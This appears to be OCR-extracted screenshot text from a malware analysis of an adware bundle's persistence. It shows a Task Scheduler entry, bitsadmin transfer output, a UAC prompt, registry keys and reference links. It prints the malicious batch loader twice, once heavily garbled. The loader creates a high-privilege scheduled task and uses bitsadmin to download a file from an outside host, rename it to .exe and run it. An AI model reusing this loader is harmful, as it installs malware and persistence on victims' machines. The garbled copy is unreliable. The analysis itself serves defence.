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General | Triggers | Actions | Conditions | Settings | History (disabled) |

When you create a task, you must specify the action that will occur when your task starts.

Action Details
Start a program "C:\Program Files (x86)\QUUmEro.bat"
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1Becho off

z copy /y "C:\Users\JohsiyIDIVEnZEnesRbdY 1bBoYP" "C:\Users)John¥wFPosais 1biEyRoLxkt3BoYP. bat "S8ujLoIFRgyR

scopy /y "C:\Program Files (BUXRrAUKIXx86)'\ZWLOGWihiuziCommon FiTeSMHFYTMNOUTUSS \UTjya¥mxEyyPoj%™ "C:\Prog
Skyatasrzuindytsan Files (x86)\CZyokheInzonkrckluyexjnkinon FiXGUEUOyUECETXAu0PYTUIOReXUngkEDODYAeXTS
s'uTjya.bat”

: schtasks /creziekrviiate /tn "kdEpouMIasbafeyUotQywiyOrcYomyZzbseai” /TRIAESkr "'C:'\PXAzyixuZrogram Files
(x86)%a%ary\Common FiXenPQOCxEaiees]eXIIpoIsyzoM lyTRs \uljya.bat’ " /sc minSdruualiXsicoqsiute /mo 18
%1jrsxex0 /r1 higkeqiivoaMvaposhekILogFyoisst /f

5 set Dgih%BCiiPShii0I¥GR0AFPOKYRHaf E=5r ANDOMESRaNDOME

£ "C:\Wicegyi®indows \Airue, exe™ /TRANSFEr oUGpL /dowSThyQroooNLoaD /PRIORITY HiGH http://Swzuks
Tiflingren. info /819667 7X8p3BSAEQNZDEYXx%s9. zip "C:%IpiysouR\Ffuus
users' John\AppData'\Local' Temp' yFALONSNBQOISiFjiagipsy. zip”

T rename ~ZudaneyrpvRC:\%dIoXvEusers' John\ AppEKVASKNALUTIDat 3\ LocasIhDWL HFTETNT FXT\ Temp' yFAUONSNBgOTy. zip”
%DgihioInafes. exe

somd /c "TC:ENucLeaafnIui\Users' John'\AppData'\Local |\ TeZcsuyyuadop |\ 20qihioIrafES. exe” 1"SyUErxghgoyivER
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File Edit View Settings ?

JEadl 9 R asE e ok i
1 @echo off

2 copy /y "C:\Users\John\1bBoYP" "C:\Users\John\1bBoYP.bat"

3 copy /y "C:\Program Files (x86)\Common Files\uIjya" "C:\Program Files (x86)\Common Files\uIjya.bat"
4+ schtasks /create /tn "kdyuotQywAi" /tr "“'C:\Program Files (x86)\Common Files\uIjya.bat' "
180 /r1 highest /f

s set DgihioIHafE=

/sc minute /mo

& "C:\Windows\Airue. exe" /tRANSFEr ouUGpL /dowNLoaD /PRIORitY HiGH http://1iflingren.info/81966f7x8ps9.zip
"C:\Users'John\AppData\Local\\Temp'yFAUONSNBgOIy. zip"

7 rename "C:\Users\John\AppData\Local\Temp\yFAUONSNBgoIy.zip" .exe
scmd /c ""C:\Users\John\AppData\Local\Temp\.exe" i"
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588 bytes ANSI CR+LF INS Batch Files
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C:\Windows\system32\cmd.exe

= o
ITSADMIN version 3.8 [ ?.5.7681 ] 4]

BITS administration utility.
(C> Copyright 2006-2086 Microsoft Corp.

m

ITSAdmin is deprecated and is not guaranteed to he available in future versions
of Windows.

Administrative tools for the BITS service are now provided by BITS PowerShell cm
lets.
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C\Windows\system32\cmd.exe \E‘ IEI

DISPLAY: ’DicTGhAYYo' TYPE: DOUNLOAD STATE: TRANSFERRING
PRIORITY: HIGH FILES: @ ~» 1 BYTES: 13211 , 388425 (37)
TRANSFER RATE: 12.53 KB/S TIME REMAINING: 29 Seconds.
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“! User Account Control

i g3 Do you want to allow the following program from an
\ unknown publisher to make changes to this computer?

Program name: 142865557 .exe

Publisher: Unknown
File origin: Hard drive on this computer
'v) Show details | Yes |[ No °

Change when these notifications appear

¥ User Account Control
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e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree\AS8CE93577A80

e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tasks\{OF1F1FBC-1630-4656-A5D6-
61C78F001A15}

e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Plain\{OF1F1FBC-1630-4656-A5D6-
61C78F001A15}

e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tasks\{1618EB4E-B8DF-4D5A-BFB4-
41EB85D6EBAD}
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e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Logon\{1618EB4E-B8DF-4D5A-BFB4-
41EB85D6EBAD}
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e https://www.bleepingcomputer.com/news/security/adware-bundle-adds-
persistence-to-download-more-malware-at-later-time,

e https://www.bleepingcomputer.com/forums/t/640953/cmd-windows-pop-
bitsadmin/
o https://forums.malwarebytes.com/topic/213937-bitsadmin-cmd-
pop-up-constantly-downloading-unknown-publisher-software/
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